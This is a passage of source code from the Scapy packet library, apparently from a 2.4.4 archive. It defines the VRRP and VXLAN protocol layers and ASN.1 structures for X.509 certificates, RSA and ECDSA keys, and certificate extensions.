XShortField("chksum", None), FieldListField("addrlist", [], IPField("", "0.0.0.0"), count_from=lambda pkt: pkt.ipcount), IntField("auth1", 0), IntField("auth2", 0)] def post_build(self, p, pay): if self.chksum is None: ck = checksum(p) p = p[:6] + chb(ck >> 8) + chb(ck & 0xff) + p[8:] return p @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 9: ver_n_type = orb(_pkt[0]) if ver_n_type >= 48 and ver_n_type <= 57: # Version == 3 return VRRPv3 return VRRP # RFC 5798 - Virtual Router Redundancy Protocol (VRRP) Version 3 class VRRPv3(Packet): fields_desc = [ BitField("version", 3, 4), BitField("type", 1, 4), ByteField("vrid", 1), ByteField("priority", 100), FieldLenField("ipcount", None, count_of="addrlist", fmt="B"), BitField("res", 0, 4), BitField("adv", 100, 12), XShortField("chksum", None), MultipleTypeField( [ (FieldListField("addrlist", [], IPField("", "0.0.0.0"), count_from=lambda pkt: pkt.ipcount), lambda p: isinstance(p.underlayer, IP)), (FieldListField("addrlist", [], IP6Field("", "::"), count_from=lambda pkt: pkt.ipcount), lambda p: isinstance(p.underlayer, IPv6)), ], StrField("addrlist", "") ) ] def post_build(self, p, pay): if self.chksum is None: if isinstance(self.underlayer, IP): ck = in4_chksum(112, self.underlayer, p) elif isinstance(self.underlayer, IPv6): ck = in6_chksum(112, self.underlayer, p) else: warning("No IP(v6) layer to compute checksum on VRRP. Leaving null") # noqa: E501 ck = 0 p = p[:6] + chb(ck >> 8) + chb(ck & 0xff) + p[8:] return p @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 16: ver_n_type = orb(_pkt[0]) if ver_n_type < 48 or ver_n_type > 57: # Version != 3 return VRRP return VRRPv3 # IPv6 is supported only on VRRPv3 # Warning: those layers need to be un-binded in the CARP contrib module. # If you add/remove any, remember to also edit the one in CARP.py bind_layers(IP, VRRP, proto=IPPROTO_VRRP) bind_layers(IP, VRRPv3, proto=IPPROTO_VRRP) bind_layers(IPv6, VRRPv3, nh=IPPROTO_VRRP) scapy-2.4.4/scapy/layers/vxlan.py000066400000000000000000000064231372370053500167720ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Virtual eXtensible Local Area Network (VXLAN) - RFC 7348 - A Framework for Overlaying Virtualized Layer 2 Networks over Layer 3 Networks http://tools.ietf.org/html/rfc7348 https://www.ietf.org/id/draft-ietf-nvo3-vxlan-gpe-02.txt VXLAN Group Policy Option: http://tools.ietf.org/html/draft-smith-vxlan-group-policy-00 """ from scapy.packet import Packet, bind_layers, bind_bottom_up, bind_top_down from scapy.layers.l2 import Ether from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6 from scapy.fields import FlagsField, XByteField, ThreeBytesField, \ ConditionalField, ShortField, ByteEnumField, X3BytesField _GP_FLAGS = ["R", "R", "R", "A", "R", "R", "D", "R"] class VXLAN(Packet): name = "VXLAN" fields_desc = [ FlagsField("flags", 0x8, 8, ['OAM', 'R', 'NextProtocol', 'Instance', 'V1', 'V2', 'R', 'G']), ConditionalField( ShortField("reserved0", 0), lambda pkt: pkt.flags.NextProtocol, ), ConditionalField( ByteEnumField('NextProtocol', 0, {0: 'NotDefined', 1: 'IPv4', 2: 'IPv6', 3: 'Ethernet', 4: 'NSH'}), lambda pkt: pkt.flags.NextProtocol, ), ConditionalField( ThreeBytesField("reserved1", 0), lambda pkt: (not pkt.flags.G) and (not pkt.flags.NextProtocol), ), ConditionalField( FlagsField("gpflags", 0, 8, _GP_FLAGS), lambda pkt: pkt.flags.G, ), ConditionalField( ShortField("gpid", 0), lambda pkt: pkt.flags.G, ), X3BytesField("vni", 0), XByteField("reserved2", 0), ] # Use default linux implementation port overload_fields = { UDP: {'dport': 8472}, } def mysummary(self): if self.flags.G: return self.sprintf("VXLAN (vni=%VXLAN.vni% gpid=%VXLAN.gpid%)") else: return self.sprintf("VXLAN (vni=%VXLAN.vni%)") bind_layers(UDP, VXLAN, dport=4789) # RFC standard vxlan port bind_layers(UDP, VXLAN, dport=4790) # RFC standard vxlan-gpe port bind_layers(UDP, VXLAN, dport=6633) # New IANA assigned port for use with NSH bind_layers(UDP, VXLAN, dport=8472) # Linux implementation port bind_layers(UDP, VXLAN, dport=48879) # Cisco ACI bind_layers(UDP, VXLAN, sport=4789) bind_layers(UDP, VXLAN, sport=4790) bind_layers(UDP, VXLAN, sport=6633) bind_layers(UDP, VXLAN, sport=8472) # By default, set both ports to the RFC standard bind_layers(UDP, VXLAN, sport=4789, dport=4789) # Dissection bind_bottom_up(VXLAN, Ether, NextProtocol=0) bind_bottom_up(VXLAN, IP, NextProtocol=1) bind_bottom_up(VXLAN, IPv6, NextProtocol=2) bind_bottom_up(VXLAN, Ether, NextProtocol=3) bind_bottom_up(VXLAN, Ether, NextProtocol=None) # Build bind_top_down(VXLAN, Ether, flags=12, NextProtocol=0) bind_top_down(VXLAN, IP, flags=12, NextProtocol=1) bind_top_down(VXLAN, IPv6, flags=12, NextProtocol=2) bind_top_down(VXLAN, Ether, flags=12, NextProtocol=3) scapy-2.4.4/scapy/layers/x509.py000066400000000000000000001377411372370053500163570ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Enhanced by Maxence Tury # This program is published under a GPLv2 license """ X.509 certificates. """ from scapy.asn1.mib import conf # loads conf.mib from scapy.asn1.asn1 import ASN1_Codecs, ASN1_OID, \ ASN1_IA5_STRING, ASN1_NULL, ASN1_PRINTABLE_STRING, \ ASN1_UTC_TIME, ASN1_UTF8_STRING from scapy.asn1.ber import BER_tagging_dec, BER_Decoding_Error from scapy.asn1packet import ASN1_Packet from scapy.asn1fields import ASN1F_BIT_STRING, ASN1F_BIT_STRING_ENCAPS, \ ASN1F_BMP_STRING, ASN1F_BOOLEAN, ASN1F_CHOICE, ASN1F_ENUMERATED, \ ASN1F_FLAGS, ASN1F_GENERALIZED_TIME, ASN1F_IA5_STRING, ASN1F_INTEGER, \ ASN1F_ISO646_STRING, ASN1F_NULL, ASN1F_OID, ASN1F_PACKET, \ ASN1F_PRINTABLE_STRING, ASN1F_SEQUENCE, ASN1F_SEQUENCE_OF, ASN1F_SET_OF, \ ASN1F_STRING, ASN1F_T61_STRING, ASN1F_UNIVERSAL_STRING, ASN1F_UTC_TIME, \ ASN1F_UTF8_STRING, ASN1F_badsequence, ASN1F_enum_INTEGER, ASN1F_field, \ ASN1F_optional from scapy.packet import Packet from scapy.fields import PacketField from scapy.volatile import ZuluTime, GeneralizedTime from scapy.compat import plain_str class ASN1P_OID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_OID("oid", "0") class ASN1P_INTEGER(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("number", 0) class ASN1P_PRIVSEQ(ASN1_Packet): # This class gets used in x509.uts # It showcases the private high-tag decoding capacities of scapy. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_IA5_STRING("str", ""), ASN1F_STRING("int", 0), explicit_tag=0, flexible_tag=True) ####################### # RSA packets # ####################### # based on RFC 3447 # It could be interesting to use os.urandom and try to generate # a new modulus each time RSAPublicKey is called with default values. # (We might have to dig into scapy field initialization mechanisms...) # NEVER rely on the key below, which is provided only for debugging purposes. class RSAPublicKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("modulus", 10), ASN1F_INTEGER("publicExponent", 3)) class RSAOtherPrimeInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("prime", 0), ASN1F_INTEGER("exponent", 0), ASN1F_INTEGER("coefficient", 0)) class RSAPrivateKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 0, ["two-prime", "multi"]), ASN1F_INTEGER("modulus", 10), ASN1F_INTEGER("publicExponent", 3), ASN1F_INTEGER("privateExponent", 3), ASN1F_INTEGER("prime1", 2), ASN1F_INTEGER("prime2", 5), ASN1F_INTEGER("exponent1", 0), ASN1F_INTEGER("exponent2", 3), ASN1F_INTEGER("coefficient", 1), ASN1F_optional( ASN1F_SEQUENCE_OF("otherPrimeInfos", None, RSAOtherPrimeInfo))) #################################### # ECDSA packets # #################################### # based on RFC 3279 & 5480 & 5915 class ECFieldID(ASN1_Packet): # No characteristic-two-field support for now. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("fieldType", "prime-field"), ASN1F_INTEGER("prime", 0)) class ECCurve(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_STRING("a", ""), ASN1F_STRING("b", ""), ASN1F_optional( ASN1F_BIT_STRING("seed", None))) class ECSpecifiedDomain(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {1: "ecpVer1"}), ASN1F_PACKET("fieldID", ECFieldID(), ECFieldID), ASN1F_PACKET("curve", ECCurve(), ECCurve), ASN1F_STRING("base", ""), ASN1F_INTEGER("order", 0), ASN1F_optional( ASN1F_INTEGER("cofactor", None))) class ECParameters(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("curve", ASN1_OID("ansip384r1"), ASN1F_OID, # for named curves ASN1F_NULL, # for implicit curves ECSpecifiedDomain) class ECDSAPublicKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_BIT_STRING("ecPoint", "") class ECDSAPrivateKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {1: "ecPrivkeyVer1"}), ASN1F_STRING("privateKey", ""), ASN1F_optional( ASN1F_PACKET("parameters", None, ECParameters, explicit_tag=0xa0)), ASN1F_optional( ASN1F_PACKET("publicKey", None, ECDSAPublicKey, explicit_tag=0xa1))) class ECDSASignature(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("r", 0), ASN1F_INTEGER("s", 0)) ###################### # X509 packets # ###################### # based on RFC 5280 # Names # class ASN1F_X509_DirectoryString(ASN1F_CHOICE): # we include ASN1 bit strings for rare instances of x500 addresses def __init__(self, name, default, **kwargs): ASN1F_CHOICE.__init__(self, name, default, ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING, ASN1F_IA5_STRING, ASN1F_T61_STRING, ASN1F_UNIVERSAL_STRING, ASN1F_BIT_STRING, **kwargs) class X509_AttributeValue(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("value", ASN1_PRINTABLE_STRING("FR"), ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING, ASN1F_IA5_STRING, ASN1F_T61_STRING, ASN1F_UNIVERSAL_STRING) class X509_Attribute(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("type", "2.5.4.6"), ASN1F_SET_OF("values", [X509_AttributeValue()], X509_AttributeValue)) class X509_AttributeTypeAndValue(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("type", "2.5.4.6"), ASN1F_X509_DirectoryString("value", ASN1_PRINTABLE_STRING("FR"))) class X509_RDN(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SET_OF("rdn", [X509_AttributeTypeAndValue()], X509_AttributeTypeAndValue) class X509_OtherName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("type_id", "0"), ASN1F_CHOICE("value", None, ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING, explicit_tag=0xa0)) class X509_RFC822Name(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_IA5_STRING("rfc822Name", "") class X509_DNSName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_IA5_STRING("dNSName", "") # XXX write me class X509_X400Address(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_field("x400Address", "") _default_directoryName = [ X509_RDN(), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.10", value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.3", value=ASN1_PRINTABLE_STRING("Scapy Default Name"))]) ] class X509_DirectoryName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("directoryName", _default_directoryName, X509_RDN) class X509_EDIPartyName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_X509_DirectoryString("nameAssigner", None, explicit_tag=0xa0)), ASN1F_X509_DirectoryString("partyName", None, explicit_tag=0xa1)) class X509_URI(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_IA5_STRING("uniformResourceIdentifier", "") class X509_IPAddress(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("iPAddress", "") class X509_RegisteredID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_OID("registeredID", "") class X509_GeneralName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("generalName", X509_DirectoryName(), ASN1F_PACKET("otherName", None, X509_OtherName, implicit_tag=0xa0), ASN1F_PACKET("rfc822Name", None, X509_RFC822Name, implicit_tag=0x81), ASN1F_PACKET("dNSName", None, X509_DNSName, implicit_tag=0x82), ASN1F_PACKET("x400Address", None, X509_X400Address, # noqa: E501 explicit_tag=0xa3), ASN1F_PACKET("directoryName", None, X509_DirectoryName, # noqa: E501 explicit_tag=0xa4), ASN1F_PACKET("ediPartyName", None, X509_EDIPartyName, # noqa: E501 explicit_tag=0xa5), ASN1F_PACKET("uniformResourceIdentifier", None, X509_URI, # noqa: E501 implicit_tag=0x86), ASN1F_PACKET("ipAddress", None, X509_IPAddress, implicit_tag=0x87), ASN1F_PACKET("registeredID", None, X509_RegisteredID, # noqa: E501 implicit_tag=0x88)) # Extensions # class X509_ExtAuthorityKeyIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_STRING("keyIdentifier", b"\xff" * 20, implicit_tag=0x80)), ASN1F_optional( ASN1F_SEQUENCE_OF("authorityCertIssuer", None, X509_GeneralName, implicit_tag=0xa1)), ASN1F_optional( ASN1F_INTEGER("authorityCertSerialNumber", None, implicit_tag=0x82))) class X509_ExtSubjectDirectoryAttributes(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("subjectDirectoryAttributes", [X509_Attribute()], X509_Attribute) class X509_ExtSubjectKeyIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("keyIdentifier", "xff" * 20) class X509_ExtFullName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("fullName", [X509_GeneralName()], X509_GeneralName, implicit_tag=0xa0) class X509_ExtNameRelativeToCRLIssuer(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_PACKET("nameRelativeToCRLIssuer", X509_RDN(), X509_RDN, implicit_tag=0xa1) class X509_ExtDistributionPointName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("distributionPointName", None, X509_ExtFullName, X509_ExtNameRelativeToCRLIssuer) _reasons_mapping = ["unused", "keyCompromise", "cACompromise", "affiliationChanged", "superseded", "cessationOfOperation", "certificateHold", "privilegeWithdrawn", "aACompromise"] class X509_ExtDistributionPoint(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("distributionPoint", X509_ExtDistributionPointName(), X509_ExtDistributionPointName, explicit_tag=0xa0)), ASN1F_optional( ASN1F_FLAGS("reasons", None, _reasons_mapping, implicit_tag=0x81)), ASN1F_optional( ASN1F_SEQUENCE_OF("cRLIssuer", None, X509_GeneralName, implicit_tag=0xa2))) _ku_mapping = ["digitalSignature", "nonRepudiation", "keyEncipherment", "dataEncipherment", "keyAgreement", "keyCertSign", "cRLSign", "encipherOnly", "decipherOnly"] class X509_ExtKeyUsage(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_FLAGS("keyUsage", "101", _ku_mapping) def get_keyUsage(self): return self.ASN1_root.get_flags(self) class X509_ExtPrivateKeyUsagePeriod(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_GENERALIZED_TIME("notBefore", str(GeneralizedTime(-600)), implicit_tag=0x80)), ASN1F_optional( ASN1F_GENERALIZED_TIME("notAfter", str(GeneralizedTime(+86400)), implicit_tag=0x81))) class X509_PolicyMapping(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("issuerDomainPolicy", None), ASN1F_OID("subjectDomainPolicy", None)) class X509_ExtPolicyMappings(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("policyMappings", [], X509_PolicyMapping) class X509_ExtBasicConstraints(ASN1_Packet): # The cA field should not be optional, but some certs omit it for False. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_BOOLEAN("cA", False)), ASN1F_optional( ASN1F_INTEGER("pathLenConstraint", None))) class X509_ExtCRLNumber(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("cRLNumber", 0) _cRL_reasons = ["unspecified", "keyCompromise", "cACompromise", "affiliationChanged", "superseded", "cessationOfOperation", "certificateHold", "unused_reasonCode", "removeFromCRL", "privilegeWithdrawn", "aACompromise"] class X509_ExtReasonCode(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_ENUMERATED("cRLReason", 0, _cRL_reasons) class X509_ExtDeltaCRLIndicator(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("deltaCRLIndicator", 0) class X509_ExtIssuingDistributionPoint(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("distributionPoint", X509_ExtDistributionPointName(), X509_ExtDistributionPointName, explicit_tag=0xa0)), ASN1F_BOOLEAN("onlyContainsUserCerts", False, implicit_tag=0x81), ASN1F_BOOLEAN("onlyContainsCACerts", False, implicit_tag=0x82), ASN1F_optional( ASN1F_FLAGS("onlySomeReasons", None, _reasons_mapping, implicit_tag=0x83)), ASN1F_BOOLEAN("indirectCRL", False, implicit_tag=0x84), ASN1F_BOOLEAN("onlyContainsAttributeCerts", False, implicit_tag=0x85)) class X509_ExtCertificateIssuer(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("certificateIssuer", [], X509_GeneralName) class X509_ExtInvalidityDate(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_GENERALIZED_TIME("invalidityDate", str(ZuluTime(+86400))) class X509_ExtSubjectAltName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("subjectAltName", [], X509_GeneralName) class X509_ExtIssuerAltName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("issuerAltName", [], X509_GeneralName) class X509_ExtGeneralSubtree(ASN1_Packet): # 'minimum' is not optional in RFC 5280, yet it is in some implementations. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("base", X509_GeneralName(), X509_GeneralName), ASN1F_optional( ASN1F_INTEGER("minimum", None, implicit_tag=0x80)), ASN1F_optional( ASN1F_INTEGER("maximum", None, implicit_tag=0x81))) class X509_ExtNameConstraints(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_SEQUENCE_OF("permittedSubtrees", None, X509_ExtGeneralSubtree, implicit_tag=0xa0)), ASN1F_optional( ASN1F_SEQUENCE_OF("excludedSubtrees", None, X509_ExtGeneralSubtree, implicit_tag=0xa1))) class X509_ExtPolicyConstraints(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_INTEGER("requireExplicitPolicy", None, implicit_tag=0x80)), ASN1F_optional( ASN1F_INTEGER("inhibitPolicyMapping", None, implicit_tag=0x81))) class X509_ExtExtendedKeyUsage(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("extendedKeyUsage", [], ASN1P_OID) def get_extendedKeyUsage(self): eku_array = self.extendedKeyUsage return [eku.oid.oidname for eku in eku_array] class X509_ExtNoticeReference(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_CHOICE("organization", ASN1_UTF8_STRING("Dummy Organization"), ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING), ASN1F_SEQUENCE_OF("noticeNumbers", [], ASN1P_INTEGER)) class X509_ExtUserNotice(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("noticeRef", None, X509_ExtNoticeReference)), ASN1F_optional( ASN1F_CHOICE("explicitText", ASN1_UTF8_STRING("Dummy ExplicitText"), ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING))) class X509_ExtPolicyQualifierInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("policyQualifierId", "1.3.6.1.5.5.7.2.1"), ASN1F_CHOICE("qualifier", ASN1_IA5_STRING("cps_str"), ASN1F_IA5_STRING, X509_ExtUserNotice)) class X509_ExtPolicyInformation(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("policyIdentifier", "2.5.29.32.0"), ASN1F_optional( ASN1F_SEQUENCE_OF("policyQualifiers", None, X509_ExtPolicyQualifierInfo))) class X509_ExtCertificatePolicies(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("certificatePolicies", [X509_ExtPolicyInformation()], X509_ExtPolicyInformation) class X509_ExtCRLDistributionPoints(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints", [X509_ExtDistributionPoint()], X509_ExtDistributionPoint) class X509_ExtInhibitAnyPolicy(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("skipCerts", 0) class X509_ExtFreshestCRL(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints", [X509_ExtDistributionPoint()], X509_ExtDistributionPoint) class X509_AccessDescription(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("accessMethod", "0"), ASN1F_PACKET("accessLocation", X509_GeneralName(), X509_GeneralName)) class X509_ExtAuthInfoAccess(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("authorityInfoAccess", [X509_AccessDescription()], X509_AccessDescription) class X509_ExtQcStatement(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("statementId", "0.4.0.1862.1.1"), ASN1F_optional( ASN1F_field("statementInfo", None))) class X509_ExtQcStatements(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("qcStatements", [X509_ExtQcStatement()], X509_ExtQcStatement) class X509_ExtSubjInfoAccess(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("subjectInfoAccess", [X509_AccessDescription()], X509_AccessDescription) class X509_ExtNetscapeCertType(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_BIT_STRING("netscapeCertType", "") class X509_ExtComment(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("comment", ASN1_UTF8_STRING("Dummy comment."), ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING) class X509_ExtDefault(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_field("value", None) # oid-info.com shows that some extensions share multiple OIDs. # Here we only reproduce those written in RFC5280. _ext_mapping = { "2.5.29.9": X509_ExtSubjectDirectoryAttributes, "2.5.29.14": X509_ExtSubjectKeyIdentifier, "2.5.29.15": X509_ExtKeyUsage, "2.5.29.16": X509_ExtPrivateKeyUsagePeriod, "2.5.29.17": X509_ExtSubjectAltName, "2.5.29.18": X509_ExtIssuerAltName, "2.5.29.19": X509_ExtBasicConstraints, "2.5.29.20": X509_ExtCRLNumber, "2.5.29.21": X509_ExtReasonCode, "2.5.29.24": X509_ExtInvalidityDate, "2.5.29.27": X509_ExtDeltaCRLIndicator, "2.5.29.28": X509_ExtIssuingDistributionPoint, "2.5.29.29": X509_ExtCertificateIssuer, "2.5.29.30": X509_ExtNameConstraints, "2.5.29.31": X509_ExtCRLDistributionPoints, "2.5.29.32": X509_ExtCertificatePolicies, "2.5.29.33": X509_ExtPolicyMappings, "2.5.29.35": X509_ExtAuthorityKeyIdentifier, "2.5.29.36": X509_ExtPolicyConstraints, "2.5.29.37": X509_ExtExtendedKeyUsage, "2.5.29.46": X509_ExtFreshestCRL, "2.5.29.54": X509_ExtInhibitAnyPolicy, "2.16.840.1.113730.1.1": X509_ExtNetscapeCertType, "2.16.840.1.113730.1.13": X509_ExtComment, "1.3.6.1.5.5.7.1.1": X509_ExtAuthInfoAccess, "1.3.6.1.5.5.7.1.3": X509_ExtQcStatements, "1.3.6.1.5.5.7.1.11": X509_ExtSubjInfoAccess } class ASN1F_EXT_SEQUENCE(ASN1F_SEQUENCE): # We use explicit_tag=0x04 with extnValue as STRING encapsulation. def __init__(self, **kargs): seq = [ASN1F_OID("extnID", "2.5.29.19"), ASN1F_optional( ASN1F_BOOLEAN("critical", False)), ASN1F_PACKET("extnValue", X509_ExtBasicConstraints(), X509_ExtBasicConstraints, explicit_tag=0x04)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) def dissect(self, pkt, s): _, s = BER_tagging_dec(s, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i, s, remain = codec.check_type_check_len(s) extnID = self.seq[0] critical = self.seq[1] try: oid, s = extnID.m2i(pkt, s) extnID.set_val(pkt, oid) s = critical.dissect(pkt, s) encapsed = X509_ExtDefault if oid.val in _ext_mapping: encapsed = _ext_mapping[oid.val] self.seq[2].cls = encapsed self.seq[2].cls.ASN1_root.flexible_tag = True # there are too many private extensions not to be flexible here self.seq[2].default = encapsed() s = self.seq[2].dissect(pkt, s) if not self.flexible_tag and len(s) > 0: err_msg = "extension sequence length issue" raise BER_Decoding_Error(err_msg, remaining=s) except ASN1F_badsequence: raise Exception("could not parse extensions") return remain class X509_Extension(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_EXT_SEQUENCE() class X509_Extensions(ASN1_Packet): # we use this in OCSP status requests, in tls/handshake.py ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_optional( ASN1F_SEQUENCE_OF("extensions", None, X509_Extension)) # Public key wrapper # class X509_AlgorithmIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("algorithm", "1.2.840.113549.1.1.11"), ASN1F_optional( ASN1F_CHOICE("parameters", ASN1_NULL(0), ASN1F_NULL, ECParameters))) class ASN1F_X509_SubjectPublicKeyInfoRSA(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING_ENCAPS("subjectPublicKey", RSAPublicKey(), RSAPublicKey)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class ASN1F_X509_SubjectPublicKeyInfoECDSA(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_PACKET("subjectPublicKey", ECDSAPublicKey(), ECDSAPublicKey)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class ASN1F_X509_SubjectPublicKeyInfo(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = 